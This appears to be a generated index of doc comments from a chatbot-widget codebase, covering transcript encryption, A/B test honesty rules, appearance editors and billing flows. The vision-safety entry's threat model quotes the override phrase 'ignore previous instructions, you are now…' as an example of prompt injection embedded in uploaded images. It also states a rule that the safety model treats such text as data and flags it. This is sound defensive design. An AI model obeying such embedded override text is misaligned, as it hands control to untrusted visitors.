- **`agent-lite.transcripts.store`** — `PostgresTranscriptStore` — production transcript store over the EU embed-visitor-db (same PgPool as visitor memory + the cost ledger). Tables (see migrations/0005_transcripts.sql): - `embed_conversations` — one row per conversation, with the per-widget `retention_days` copied in at create time for the global purge sweeper. - `embed_messages`      — one row per persisted turn, CASCADE-deleted. Design notes (mirror PostgresVisitorMemory + PostgresCostTracker): - Runtime `sqlx::query` (not the compile-time `query!` macros) so the crate builds without a live DATABASE_URL. - WRITES are fire-and-forget (`tokio::spawn`) so a slow/failed DB write never adds latency to — or fails — a conversation turn (cost-ledger posture). READS (list/get) are awaited. - ENCRYPTION AT REST (M2.3, GDPR Art-32): two PII surfaces are AES-256-GCM SEALED at rest under the cluster `OA_SECRETS_MASTER_KEY` (the org's existing secrets key): * `embed_messages.content` — SEALED on write (`crypto::seal_content`), opened on read (`crypto::open_content`); the required-field helpers. * `embed_leads` PII — the four nullable columns `name` / `email` / `phone` / `message` are SEALED on write (`crypto::seal_opt`) in `record_lead` and opened on read (`crypto::open_opt`) in `list_leads`, the optional-field helpers. Attribution columns (tenant/widget/ conversation/visitor ids, retention) stay CLEAR so erasure-by- (widget, visitor) and the retention purge still work. None of the encrypted columns is ever queried/sorted/deduped (lookups are by widget_id / visitor_id / created_at only), so sealing breaks no equality or sort. Stored values are self-describing (`enc:v1:<base64>`); legacy plaintext rows + a no-key dev/CI boot stay readable verbatim (no bulk migration). The cipher is held as a single `Option<Cipher>` shared by both surfaces — `None` (key unset) ⇒ writes are plaintext, the crate's existing `Option`/Null degrade convention. Minimization is still via retention + erasure, not redaction. - EU-sovereign: only the local PG instance (VISITOR_DB_URL); no data leaves.  
  *embed-runtime/src/transcript/postgres.rs:1*

### agent-lite/vision-safety
- **`agent-lite.vision-safety`** — Isolated vision + content-safety analysis for visitor IMAGE uploads (§visitor-file-upload Phase 2). ## Why this is its own module (and NOT the shared llm-router) NAO's de-risking decision: the visitor's raw image is NEVER fed to the main conversational agent. Instead it is processed SEPARATELY, here, by a single one-off multimodal call whose ONLY outputs are (a) a binary safety verdict and (b) a short neutral text description. The main agent stays **text-only** and the shared `openalice_llm_router` (whose `Message.content` is a plain `String`) is left completely untouched — no multimodal content-array change ripples out to Alice or any other product. This module owns its own SSRF-safe `reqwest::Client` and talks to the OpenRouter chat-completions endpoint directly. ## Threat model The image is **untrusted, attacker-controlled content**. Two distinct risks: 1. **Unsafe content** — NSFW / CSAM / graphic violence / illegal material. We must refuse to STORE, SERVE, or DESCRIBE it. The classifier runs on the in-memory bytes BEFORE anything is written to disk, so a rejected image leaves zero trace. 2. **Prompt injection via image** — text rendered inside the image ("ignore previous instructions, you are now…"). The safety model is instructed to TREAT all in-image text as data to be described, never as instructions, and to flag `injection_detected`. Defence in depth: even a clean description is later injected into the conversation with the **`user` role** (untrusted), never `system` — see `post_embed_message`'s context-injection. ## Fail-closed A safety gate that fails OPEN is worthless. Every error path here (mis-configuration, transport failure, timeout, unparseable model output) surfaces as `Err(VisionError)` and the upload handler turns that into a rejection — the image is never stored. "Safety First. Science Second."  
  *embed-runtime/src/vision.rs:1*

### dashboard/components
- **`embed-app.brand.mark`** · _stable_ · since 0.2.0 — Re-export of the @openalicelabs/ui BrandMark (compact form, current tone).  
  *embed-dashboard/src/components/BrandMark.tsx:7*
- **`embed-app.components.editor-head`** · _stable_ · since 0.4.0 — Re-export of the @openalicelabs/ui EditorHead composite (one source of truth).  
  *embed-dashboard/src/components/EditorHead.tsx:9*
- **`embed-app.components.field`** · _stable_ · since 0.3.0 — next-intl-bound re-export of the @openalicelabs/ui Field composite.  
  *embed-dashboard/src/components/Field.tsx:5*
- **`embed-app.components.toggle`** · _stable_ · since 0.3.0 — Re-export of the @openalicelabs/ui ToggleSwitch composite.  
  *embed-dashboard/src/components/Toggle.tsx:4*
- **`embed-app.components.widget-card`** · _stable_ · since 0.4.0 — next/link-bound re-export of the @openalicelabs/ui WidgetCard composite.  
  *embed-dashboard/src/components/WidgetCard.tsx:9*

### embed-app/abtests
- **`embed-app.abtests.actions`** — Server actions for the A/B dashboard. These run on the server so the tenant bearer token (devToken.ts) stays out of the browser bundle. They cover the experiment LIFECYCLE + variant CRUD mutations the ABTestsView client calls; the per-variant RESULT fetch and experiment-create flow go through the /api/experiments BFF route instead. - setExperimentStatusAction: PATCH /me/experiments/{id} status (start/pause/conclude). - renameExperimentAction:    PATCH /me/experiments/{id} name. - deleteExperimentAction:    DELETE /me/experiments/{id} (cascades variants). - addVariantAction:          POST  /me/experiments/{id}/variants. - deleteVariantAction:       DELETE /me/experiments/{id}/variants/{var_id}. Every action revalidates the A/B page so the server-rendered experiment list reflects the mutation on the next render. The status/weight/overlay validation is authoritative on the tenants side — these actions only do light shape coercion before forwarding.  
  *embed-dashboard/src/app/(dash)/widgets/abtests/actions.ts:4*
- **`embed-app.abtests.cards`** — The display cluster — empty state, experiment card, results table (split from ABTestsView).  
  *embed-dashboard/src/app/(dash)/widgets/abtests/ExperimentCards.tsx:2*
- **`embed-app.abtests.format`** — Pure helpers + draft types for A/B experiments (split from ABTestsView — viewlogic wave).  
  *embed-dashboard/src/app/(dash)/widgets/abtests/abFormat.ts:2*
- **`embed-app.abtests.new-modal`** — The create-experiment modal — variants, weights, overlay fields (split from ABTestsView).  
  *embed-dashboard/src/app/(dash)/widgets/abtests/NewExperimentModal.tsx:2*
- **`embed-app.abtests.view`** — Honesty tests for the A/B ResultsTable winner/conclude surface. The v1 contract is: NO fabricated significance. These tests pin the honest behaviour so a future change can't silently turn "highest deflection rate" into a statistically-proven "Winner". Leading indicator: - Shown ONLY when the experiment is `done`, there are ≥2 variants, every variant cleared the <30-conversation collecting-data gate, and exactly one variant has the strictly-highest deflection rate. - The visible label reads "Leading" (never "Winner") and its tooltip states it is not a significance-tested result. - A two-way tie on the top deflection rate surfaces NO indicator (no strict leader → no call), with an honest "tied / no clear result" note. - A single-variant experiment never shows a leader (can't lead a test). - While any variant is still collecting data, no leader is shown and the note explains the 30-conversation gate. Conclude affordance: - The Conclude button carries an honest tooltip: it freezes numbers and highlights the highest-deflection variant, no significance test is run. The results come from the /api/experiments BFF proxy, so global.fetch is mocked to return a controlled { experiment, variants } payload. The server actions in ./actions.ts are mocked. window.location.reload is stubbed to avoid jsdom navigation errors.  
  *embed-dashboard/src/test/ABTestsView.test.tsx:2*
- **`embed-app.abtests.view`** — Client A/B dashboard for a single widget. Manages the experiment list (Running / Concluded / Drafts tabs), per-experiment detail (variant table with weight %, config-overlay badges) and a results table fetched live from the /api/experiments BFF proxy (conversations, deflection, avg sentiment, escalations). Honesty rules (v1): - Each variant row shows a "Collecting data" pill while it has < 30 conversations (server-flagged collecting_data). - A "Leading" indicator (✦) appears ONLY when the experiment is `done`, there are at least two variants, every variant has cleared the collecting-data threshold, AND one variant's deflection rate is strictly higher than the rest. It marks the highest-deflection variant — NOT a statistically-tested winner. v1 computes NO significance test: no p-value, no confidence interval. The accompanying note says so plainly, and a tie (no strict leader) shows no indicator. Lifecycle + variant mutations go through the server actions (actions.ts) so the tenant JWT never reaches the browser. New-experiment creation posts to /api/experiments. The variant builder is hard-limited to SAFE_OVERLAY_FIELDS — the same allowlist the tenants write-validator and agent-lite read-guard enforce.  
  *embed-dashboard/src/app/(dash)/widgets/abtests/ExperimentCards.tsx:11*
- **`embed-app.abtests.view`** — Client A/B dashboard for a single widget. Manages the experiment list (Running / Concluded / Drafts tabs), per-experiment detail (variant table with weight %, config-overlay badges) and a results table fetched live from the /api/experiments BFF proxy (conversations, deflection, avg sentiment, escalations). Honesty rules (v1): - Each variant row shows a "Collecting data" pill while it has < 30 conversations (server-flagged collecting_data). - A "Leading" indicator (✦) appears ONLY when the experiment is `done`, there are at least two variants, every variant has cleared the collecting-data threshold, AND one variant's deflection rate is strictly higher than the rest. It marks the highest-deflection variant — NOT a statistically-tested winner. v1 computes NO significance test: no p-value, no confidence interval. The accompanying note says so plainly, and a tie (no strict leader) shows no indicator. Lifecycle + variant mutations go through the server actions (actions.ts) so the tenant JWT never reaches the browser. New-experiment creation posts to /api/experiments. The variant builder is hard-limited to SAFE_OVERLAY_FIELDS — the same allowlist the tenants write-validator and agent-lite read-guard enforce.  
  *embed-dashboard/src/app/(dash)/widgets/abtests/NewExperimentModal.tsx:11*
- **`embed-app.abtests.view`** — Client A/B dashboard for a single widget. Manages the experiment list (Running / Concluded / Drafts tabs), per-experiment detail (variant table with weight %, config-overlay badges) and a results table fetched live from the /api/experiments BFF proxy (conversations, deflection, avg sentiment, escalations). Honesty rules (v1): - Each variant row shows a "Collecting data" pill while it has < 30 conversations (server-flagged collecting_data). - A "Leading" indicator (✦) appears ONLY when the experiment is `done`, there are at least two variants, every variant has cleared the collecting-data threshold, AND one variant's deflection rate is strictly higher than the rest. It marks the highest-deflection variant — NOT a statistically-tested winner. v1 computes NO significance test: no p-value, no confidence interval. The accompanying note says so plainly, and a tie (no strict leader) shows no indicator. Lifecycle + variant mutations go through the server actions (actions.ts) so the tenant JWT never reaches the browser. New-experiment creation posts to /api/experiments. The variant builder is hard-limited to SAFE_OVERLAY_FIELDS — the same allowlist the tenants write-validator and agent-lite read-guard enforce. Pro gate (§ab-pro-gate): this page's own topbar/headline badges already advertise A/B testing as "Pro+", but nothing actually enforced it — the "New experiment" CTA opened the builder for every plan with no signal. Gated here client-side with the SAME tier-rank mechanism PersonaEditor's Model/Voice pickers use (`PLAN_TIERS`/`tierRank` from `@/lib/modelCatalog`): below Pro, the CTA is disabled with an inline upgrade hint instead of silently opening the modal. NOTE: unlike the model/voice catalogs, tenants has NO server-side plan check on experiment creation today ( `POST /me/experiments` accepts any plan) — this is a UX-level gate only, matching this audit's scope; a determined caller could still POST directly.  
  *embed-dashboard/src/app/(dash)/widgets/abtests/ABTestsView.tsx:4*

### embed-app/analytics
- **`embed-app.analytics.format`** — Formatters + sparkline/funnel builders for account analytics (split from the page — viewlogic wave).  
  *embed-dashboard/src/app/(dash)/analytics/analyticsFormat.ts:2*

### embed-app/appearance
- **`embed-app.appearance.avatar-kind-preview`** — Live preview for the avatar-kind picker (#77): mounts the SELECTED render mode into the appearance editor's preview pane so the admin sees exactly what the widget will show before saving — • "2d"   — the static portrait image • "2.5d" — the sprite avatar (head-follows the cursor, blinks, lip-syncs) • "3d"   — the avatar's static portrait (live VRM preview RETIRED — see below) The 2.5D renderer is the SAME chunk the deployed widget uses, loaded cross-cut from the CDN (same origin as this dashboard) via the stable alias sprite-render-demo.js. Re-mounts on `kind` OR `vrmId` change; the old handle is disposed first. Any failure (no WebGL / no 2d ctx / network) falls back to the static portrait — the preview never breaks. §vrm-retired (design-jury F7b): the vrm-render-demo.js chunk no longer ships on the CDN, so the old "3d" loader path fired a guaranteed 404 on every /widgets/brand visit with a VRM picked. The "3d" kind now renders the avatar's derived portrait (`stillSrc`) directly — no dead network request. If a live 3D preview returns, restore the dynamic-import mount here. `vrmId` (§stale-avatar-preview) — the LIVE (possibly unsaved) Avatar-picker selection from AppearanceEditor, so the portrait actually matches what the admin picked instead of always rendering the generic Lily/aria placeholder. The 2.5D sprite has only one hosted set today (no per-avatar sprite catalog anywhere in the runtime), so it intentionally always renders the Lily slices — matching the deployed widget's own `spriteBaseUrl` default.  
  *embed-dashboard/src/app/(dash)/widgets/brand/AvatarKindPreview.tsx:4*
- **`embed-app.appearance.avatar-picker`** — Avatar catalog picker: fetches GET ${AGENT_BASE}/v1/embed/avatars and renders a responsive radio-style grid (plus a synthetic "none" entry so tenants can clear the vrm_id choice). Extracted from AppearanceEditor (structural decomposition only) — no behavior change. Props-only, owns only its own catalog-fetch state; the selected vrm_id lives in the parent (fed into the form + the live preview).  
  *embed-dashboard/src/app/(dash)/widgets/brand/AvatarPicker.tsx:4*
- **`embed-app.appearance.clothing-logo-section`** — "Logo on clothing" advanced control (migration 0018): the toggle, the CSS mini shirt-preview, and the 4 placement sliders (x/y/scale/opacity). Extracted from AppearanceEditor (structural decomposition only) — no behavior change. Props-only; the placement values are entangled with the parent's save-form + live-preview state, so they stay lifted there.  
  *embed-dashboard/src/app/(dash)/widgets/brand/ClothingLogoSection.tsx:4*
- **`embed-app.appearance.custom-css-section`** — Custom CSS (Pro+) advanced disclosure: the open/close toggle, the CodeEditorModal launcher, and the textarea (`name="custom_css"`) that `saveAppearanceAction` persists (migration 0022). Extracted from AppearanceEditor (structural decomposition only) — no behavior change. The open/closed state and the live textarea value are local to this component (nothing else in the editor reads them); the textarea still submits through the shared <form> via native DOM bubbling regardless of which component owns the state, same as before the split.  
  *embed-dashboard/src/app/(dash)/widgets/brand/CustomCssSection.tsx:4*
- **`embed-app.appearance.editor`** — Client editor for a widget's appearance block. Backed by openalice-tenants (PATCH /me/widgets/{id}). Persisted fields: - appearance.template:      "sakura" | "midnight" | "cloud" | "brand" - appearance.accent_color:  #RRGGBB - appearance.font:          "fraunces" | "hanken" | "system" - appearance.corner_radius: 0..48 - appearance.position:      "bottom-right" | "bottom-left" - appearance.logo_url:           https:// URL or null - appearance.privacy_policy_url: https:// URL or null (GDPR Art. 13 consent gate) - appearance.terms_url:          https:// URL or null (GDPR Art. 13 consent gate) - appearance.vrm_id:             avatar catalog id (e.g. "aria") or null Custom CSS (Pro+) is REAL: `saveAppearanceAction` persists `custom_css` to tenants (migration 0022) and agent-lite serves it in the session bootstrap; the widget injects it into its Shadow DOM after its own stylesheet. Loading / saved / error states mirror AnalyticsView's pattern. Structural decomposition (2026-07-15): the avatar-catalog picker, the template-picker card grid, the logo-on-clothing advanced control, the custom-CSS disclosure, and the live-preview column moved to their own files (AvatarPicker / TemplatePickerSection / ClothingLogoSection / CustomCssSection / PreviewPanel — the genuinely oversized pieces), plus a dependency-free data module (paletteData.ts) for the template/color constants. The color-swatch section, avatar-kind picker, logo-URL, font, head-peek, position, and radius sections stay here — each was already a modest, self-contained `<section>` block (no churn-for- churn's-sake). No behavior, wording, or persisted value changed.  
  *embed-dashboard/src/app/(dash)/widgets/brand/AppearanceEditor.tsx:4*
- **`embed-app.appearance.palette-data`** — Pure appearance data + color helpers for the brand/appearance editor: the 4 customer-selectable template presets (label + live-preview palette), the 6 accent-color swatches, and the hex normalize/rgba helpers shared by the editor's controls and its live preview. Extracted from AppearanceEditor (structural decomposition only) — no behavior change. Kept dependency-free (no CSS module import): the template swatch CSS classnames stay in TemplatePickerSection, which owns the styling.  
  *embed-dashboard/src/app/(dash)/widgets/brand/paletteData.ts:2*
- **`embed-app.appearance.preview-panel`** — The right-column live preview: the avatar-kind mount (AvatarKindPreview) plus the mock widget shell (header, one bubble, fake input bar) styled by the `--pv-*` custom properties the parent derives from the selected template + accent color. Extracted from AppearanceEditor (structural decomposition only) — no behavior change. Props-only; the palette / accent math stays in the parent (it also feeds the controls column).  
  *embed-dashboard/src/app/(dash)/widgets/brand/PreviewPanel.tsx:4*
- **`embed-app.appearance.template-picker`** — The 4-card template picker (sakura / midnight / cloud / brand) — the customer-selectable widget-skin presets, NOT a design-token bypass. Extracted from AppearanceEditor (structural decomposition only) — no behavior change. Props-only; the selected template + its derived live- preview palette stay owned by the parent.  
  *embed-dashboard/src/app/(dash)/widgets/brand/TemplatePickerSection.tsx:4*
- **`embed-app.appearance.vrm-upload`** — Tenant self-serve custom VRM avatar upload, mounted inside the Appearance editor below the avatar catalog picker. On a successful upload the returned public https URL becomes the widget's vrm_id (via the parent's onChange → the same hidden `vrm_id` input the catalog picker uses), so saving the appearance form carries the URL through PATCH /me/widgets/{id} unchanged (validate_vrm_id accepts https:// URLs). Pipeline: 1. Client pre-validate: .vrm extension, ≤40MB, GLB magic 'glTF'. 2. In-browser preview: dynamic-import three + @pixiv/three-vrm (same code-split boundary as captureVrm.ts) and render a small head framing from the dropped File's object URL. A parse failure rejects client-side before any upload. The 3D stack never lands in the initial bundle. 3. POST to /api/vrm-upload (tenant-scoped BFF proxy → tenants). 4. onChange(public_url) sets vrm_id; the new upload joins "Your uploads".  
  *embed-dashboard/src/app/(dash)/widgets/brand/VrmUploadZone.tsx:4*

### embed-app/auth
- **`embed-app.auth.classes`** — AUTH UNIFICATION №10 (2026-07-17): login.module.css (499L) deleted — the card-interior patterns shared by login / forgot-password / reset-password / PowChallengeGate, all theme utilities. The page SHELL (split brand pane + form pane) is ui <AuthSplit> — THE ecosystem auth layout; these are the pieces that live inside its card.  
  *embed-dashboard/src/app/login/auth.classes.ts:2*

### embed-app/avatar-studio
- **`embed-app.avatar-studio.capture`** — The ONLY module in the dashboard that imports three + @pixiv/three-vrm. The studio page reaches it exclusively via dynamic import(), so Next/Turbopack code-splits three.js + three-vrm into a chunk that is NEVER loaded unless the admin opens the studio AND clicks Capture. The main dashboard bundle stays free of the (large) 3D stack. Mirrors openalice-embed/src/avatar/vrm-render.ts for load + framing + lighting (GLTFLoader + VRMLoaderPlugin, VRMUtils.rotateVRM0, warm dark-Sakura key + fill, ~32deg FOV). Difference: this is a one-shot OFFSCREEN render — no rAF loop, no animation mixer, no spring bones. We load the VRM, settle it into a neutral rest pose (arms down, not the bind T-pose), render three camera framings into a single 512x512 canvas, and read each back as a WebP blob. Public surface: captureVrm(vrmUrl, opts?) -> Promise<Record<Angle, Blob>> resolves with one WebP blob per framing (head/half/full); rejects (so the caller can show an error and keep the studio alive) if WebGL or the VRM file is unavailable. Always disposes the GL context + scene graph.  
  *embed-dashboard/src/app/(dash)/widgets/avatars/studio/captureVrm.ts:2*
- **`embed-app.avatar-studio.classes`** — Phase-3 conversion №3 (2026-07-17): studio.module.css (163L) deleted — these are the structural class strings shared by StudioClient and the route skeleton (loading.tsx), all theme utilities (ui @theme + embed token vars). One module so the skeleton can never drift from the real card again. Dead .toolbar/.offscreen were dropped with the stylesheet.  
  *embed-dashboard/src/app/(dash)/widgets/avatars/studio/studio.classes.ts:2*
- **`embed-app.avatar-studio.page`** — Client-side VRM thumbnail studio (platform-admin tool). Opens at /widgets/avatars/studio (behind the dashboard auth middleware). Fetches the avatar catalog and, per avatar, renders the VRM IN THE BROWSER (three.js) and captures three framings (head / half / full) as WebP blobs — zero server render cost (NAO's explicit design). Captured shots are previewed inline and saved via POST /api/avatars/thumbnail, which writes them under public/v1/vrm/thumb/ so the AvatarPicker cards pick them up automatically. three + @pixiv/three-vrm are loaded ONLY via the dynamic import of ./captureVrm inside handleCapture — they are code-split out of the main dashboard bundle and never fetched unless the admin clicks Capture.  
  *embed-dashboard/src/app/(dash)/widgets/avatars/studio/StudioClient.tsx:4*
- **`embed-app.avatar-studio.route`** — Server gate for the VRM thumbnail studio. The avatar catalog is GLOBAL (shared by every tenant), so generating its previews is a platform-admin ops action — not a per-customer feature. Non-admins get a 404 (the route simply doesn't exist for them); the client studio + its save route are both admin-gated independently. See [`isPlatformAdmin`].  
  *embed-dashboard/src/app/(dash)/widgets/avatars/studio/page.tsx:2*

### embed-app/billing
- **`embed-app.billing.actions`** — Server action for the billing dashboard. Runs on the server so the tenant bearer token (devToken.ts → session cookie) stays out of the browser bundle. On a successful checkout it redirects the browser to the hosted Mollie checkout URL returned by openalice-tenants. Flow: form POST → startCheckout(plan) → tenants creates a Mollie payment → returns checkout_url → we redirect(303) the browser to Mollie. The customer pays, Mollie POSTs the webhook to tenants which promotes the plan, and Mollie returns the browser to /settings/billing/return. Graceful gate: when billing is not configured the tenants service responds 503; we surface a clear message rather than crashing.  
  *embed-dashboard/src/app/(dash)/settings/billing/actions.ts:4*
- **`embed-app.billing.cancel-subscription`** — Two-step cancel flow: a ghost button → confirmation inline → server action. Only rendered when billing is enabled and the plan is not free.  
  *embed-dashboard/src/app/(dash)/settings/billing/CancelButton.tsx:4*
- **`embed-app.billing.plan-button`** — Client form for one plan-catalog card's CTA. Wraps the checkoutAction server action with useActionState so the button shows a pending state and renders any inline error (e.g. billing not configured). On success the action redirects the browser to Mollie, so this component never sees a success result — only errors round-trip back. The CTA is disabled when billing isn't enabled (no Mollie key) or for the plan the tenant is already on / the Free tier (nothing to buy).  
  *embed-dashboard/src/app/(dash)/settings/billing/PlanButton.tsx:4*
- **`embed-app.billing.topup-form`** — Client form for the prepaid Top-up CTA on the billing page. Wraps the `topupAction` server action with `useActionState` so the submit shows a pending state and renders any inline error. On success the action redirects the browser to the hosted Mollie checkout URL, so this component never sees a success result — only errors round-trip back (same shape as PlanButton / the plan-checkout flow). Amount: a whole-euro number, validated live (5–1000, integer) via the shared `parseTopupEuros` primitive — the SAME rule the server action and the openalice-tenants backend apply — with quick-pick chips (€10/€25/€50). Idempotency: a UUID is minted ONCE per mount and sent as a hidden `idempotency_key` so the backend can dedupe accidental double-submits. It is generated AFTER mount (in an effect) so the server-rendered HTML and the hydrated client agree (no hydration mismatch); the backend tolerates the field's absence, so a submit that races the effect is still safe. Graceful degrade: when `billingEnabled` is false (no Mollie key) the form is replaced by the EXACT prior "coming soon" affordance — a disabled ghost button + the topUpSoon notice — so tenants without billing configured see an unchanged page.  
  *embed-dashboard/src/app/(dash)/settings/billing/TopupForm.tsx:4*

### embed-app/billing-return
- **`embed-app.billing-return.pending-refresher`** — Mollie's redirect_url carries no authoritative payment status — only the server-side webhook promotes the plan, and it may land a moment after the customer is redirected back. While the return page shows the "confirming payment" (still-Free) state, this re-runs the server fetch a few times so a just-promoted plan flips to "you're live" without a manual reload. Caps the retries so it never polls forever; stops as soon as the page re-renders into the paid state (this component is only mounted while pending).  
  *embed-dashboard/src/app/(dash)/settings/billing/return/PendingRefresher.tsx:4*

### embed-app/brand
- **`embed-app.brand.mark`** — Tests for the BrandMark presentational component. Proves the React+jsdom rendering path works end-to-end with @testing-library/react. Assertions: - Renders an accessible wrapper with aria-label "OpenAlice" - Renders the two branded SVG circles - Applies the correct width/height from the `size` prop - Accepts and forwards a custom className - Renders with default size=32 when no size prop is supplied  
  *embed-dashboard/src/test/BrandMark.test.tsx:2*

### embed-app/business-hours
- **`embed-app.business-hours.editor`** — Client editor for a widget's business-hours / offline config (§business-hours / migration 0030). Persists the business_hours JSONB blob {enabled, timezone, offline_message, weekly:[{day,open,close}]} via saveBusinessHoursAction (PATCH /me/widgets/{id} draft). When a visitor opens the widget OUTSIDE the configured open hours, agent-lite computes is_offline server-side and the widget shows the offline message + the lead-capture form instead of the live agent greeting. v1 (pending NAO review): - One open window per day (the common case). A day toggle + open/close time pickers; days left "Closed" simply omit a window. A future split- shift (two windows in one day) is a v2 concern — the stored shape already supports multiple windows per day, the UI just edits one. - Timezone is a free-text IANA name with a curated <datalist> of common zones; tenants validates it authoritatively server-side (chrono-tz). Loading / saved / error state mirrors the Mode editor's pattern.  
  *embed-dashboard/src/app/(dash)/widgets/hours/BusinessHoursEditor.tsx:4*
- **`embed-app.business-hours.editor.test`** — Tests for the BusinessHoursEditor component (§business-hours / migration 0030). Covers the render + interaction surface that drives the business_hours JSONB blob {enabled, timezone, offline_message, weekly}: - Renders the enable toggle, timezone input, offline-message textarea, and a row for each of the 7 weekdays. - Seeds the form from an existing business_hours config (enabled flag, timezone, message, and the per-day open windows). - Toggling a day open reveals its open/close time inputs and serialises it into the hidden weekly_json input. - Toggling a day closed drops it from weekly_json. - An unconfigured widget (business_hours null) renders all days Closed. The saveBusinessHoursAction server action is mocked via vi.mock so no real network call happens (mirrors SettingsClient.test.tsx).  
  *embed-dashboard/src/test/BusinessHoursEditor.test.tsx:2*

### embed-app/component
- **`embed-app.component.error-surface`** — Shared shell for the dashboard's 3 crash/miss surfaces (checkpoint 5, wave-2 consistency audit, 2026-07-13) — `error.tsx` (route-segment boundary), `not-found.tsx` (404), `global-error.tsx` (root-layout boundary) hand-rolled the same centered card 3 ways. INLINE-STYLE ONLY, BY DESIGN — `global-error.tsx` REPLACES the root layout when the layout itself throws (its own doc comment: "globals.css may not load in a root error boundary"), so this component and its two style-builder siblings ([`errorSurfacePrimaryStyle`], [`errorSurfaceSecondaryStyle`]) never assume a CSS Module or a `globals.css` class exists. Every color is a caller-supplied string — the two route-level surfaces pass `var(--dark-bg)` etc. (trusting globals.css), `global-error.tsx` passes the LITERAL hex values of those same tokens (not trusting it). Typography is the same deal (`fontMono`/`fontDisplay` props, not a hardcoded `var()`) — the two route-level surfaces pass `var(--font-mono)`/`var(--font-display)`, global-error passes its own dependency-free system-font stack. What's DELIBERATELY left to the caller (these differ per site, not drift): the ornamental `top` slot (error.tsx's mono kicker vs not-found.tsx's giant "404" numeral vs global-error's nothing — no shared typography contract between a kicker and a numeral) and the `actions` themselves (a `<button onClick>` reset vs a `next/link` `<Link>` vs a raw `<a>` full-navigation escape hatch — different elements for different reasons, see error.tsx's own comment on why its second action is a raw `<a>`). The two style-builders below exist so those buttons/links stay pixel-identical without re-typing the style object at each call site.  
  *embed-dashboard/src/components/ErrorSurface.tsx:4*
- **`embed-app.component.locale-switcher`** — Tests for the premium accessible language dropdown (replaces the bare <select>). Contract: · trigger is a button with aria-haspopup="listbox" + aria-expanded · the current locale shows in the trigger and is aria-selected in the list · clicking opens a role="listbox" with one role="option" per language · choosing a different language calls setLocale(code) + router.refresh() · Escape closes the listbox The server action + useRouter are mocked.  
  *embed-dashboard/src/test/LocaleSwitcher.test.tsx:2*

### embed-app/components
- **`embed-app.components.confirm-inline`** — Re-export of the @openalicelabs/ui ConfirmInline with the  
  *embed-dashboard/src/components/ConfirmInline.tsx:4*
- **`embed-app.components.select`** — Thin re-export of the library Select (full ARIA combobox pattern) with the plain-CSS skin — THE dropdown (the language-switcher look NAO ratified). Native <select> elements migrate here site-wide.  
  *embed-dashboard/src/components/Select.tsx:2*
- **`embed-app.components.tier-card`** — Re-export of the @openalicelabs/ui TierCard with the  
  *embed-dashboard/src/components/TierCard.tsx:4*
- **`embed-app.components.toggle`** — Tests the shared on/off switch: reflects checked, fires onChange with the next boolean, forwards name + aria-label, honors disabled.  
  *embed-dashboard/src/test/Toggle.test.tsx:2*
- **`embed-app.components.widget-config-notice`** — Tests the shared config-page notice: it forwards `crumb` to the topbar via ShellMeta and renders the accent card (title, body, back link) the pages rely on. Nav-shell audit (2026-07-13): WidgetConfigNotice no longer renders AppShell (that's now persistent, one level up in `(dash)/layout.tsx`) or takes an `active` override — rail-highlighting is derived from the URL there. This test mocks ShellMeta (hermetic — the portal mechanism itself is covered by ShellSlots.test.tsx and AppShell.test.tsx) instead of AppShell.  
  *embed-dashboard/src/test/WidgetConfigNotice.test.tsx:2*
- **`embed-app.components.widget-config-notice`** — Shared error / empty-state notice for the per-widget config pages (and the settings pages that follow the same shape). Renders a pagehead eyebrow/title plus an accent card with a title, body and a back link. This structural markup (pagehead + `oa-card oa-card--accent` with its repeated inline styles + back button) was copy-pasted into a local `Notice` helper in ~22 page files. Each page now keeps its tiny `Notice` wrapper (so its error branches read `<Notice title body/>` unchanged) but delegates the structure here — one definition, no drift. The per-page identity (crumb / eyebrow / headline / back label) stays a prop because it genuinely differs per page. Nav-shell audit (2026-07-13): no longer renders AppShell itself — the shell is persistent (`(dash)/layout.tsx`), and rail-highlighting is derived from the URL there, so the old `active` override prop is gone (every caller's route already resolves to the right rail item via AppShell's `railKeyFromPathname`, including the one deliberate /widgets/analytics → "analytics" exception it preserves). The crumb now travels to the topbar via `<ShellMeta>` instead of an `AppShell` prop.  
  *embed-dashboard/src/components/WidgetConfigNotice.tsx:2*

### embed-app/conversations
- **`embed-app.conversations.banners`** — Top-of-page recovery banners for the messenger (split from ConversationsClient): the 401 session-expired notice (with a sign-in link) and the initial/list-fetch error banner. Purely presentational — the parent owns sessionExpired/listError state and the fetches that set them; this component only renders their current values.  
  *embed-dashboard/src/app/(dash)/conversations/ConvBanners.tsx:2*
- **`embed-app.conversations.chips`** — The chip family of the inbox — sentiment / intent / converted / control badges + needsHuman heuristic (split from ConversationsClient).  
  *embed-dashboard/src/app/(dash)/conversations/ConvChips.tsx:2*
- **`embed-app.conversations.format`** — Pure formatting + URL helpers for the conversations inbox (split from ConversationsClient — viewlogic program wave, NAO point 2).  
  *embed-dashboard/src/app/(dash)/conversations/convFormat.ts:2*
- **`embed-app.conversations.inline-markdown`** — Tests for the messenger's whitelist markdown renderer (design-jury F6): agent bubbles render **bold** / *italic* / `code` / [safe links](https) as real elements, never as literal asterisks — and NEVER via innerHTML. Coverage: 1. Bold / italic (both spellings) / inline code produce the right tags. 2. snake_case identifiers stay intact (word-bounded _italic_ only). 3. https/mailto links render as <a target=_blank rel=noopener…>; the label recurses (bold inside a link) but links never nest. 4. javascript:/data:/relative URLs stay LITERAL source text (URL gate). 5. Raw HTML in the message renders as text — no element injection. 6. Newlines pass through untouched (bubble pre-wrap handles them).  
  *embed-dashboard/src/test/InlineMarkdown.test.tsx:2*
- **`embed-app.conversations.inline-markdown`** — Minimal, whitelist-only Markdown for AGENT bubbles in the messenger (design-jury F6: transcripts showed literal `**bold**` because the LLM emits Markdown and the dashboard rendered it as plain text, while the deployed widget renders it — the operator saw a different message than the visitor). Grammar (deliberately tiny — what a chat agent actually emits): `code`   →  <code>          (verbatim content, nothing nested) **bold** →  <strong>        (inner text recursed) *it* /_it_ → <em>           (inner text recursed; _…_ only word-bounded, so snake_case_identifiers stay intact) [label](https://…) → <a>    (http(s)/mailto only — same URL gate as the widget's own renderer; anything else stays literal text. Label recursed, links never nest inside links.) Security: this renderer NEVER touches innerHTML. Every run of source text ends up as a React text node (auto-escaped); the only elements produced are our own <strong>/<em>/<code>/<a>. Unsafe link targets (javascript:, untouched — the bubble's `white-space: pre-wrap` handles them.  
  *embed-dashboard/src/app/(dash)/conversations/InlineMarkdown.tsx:2*
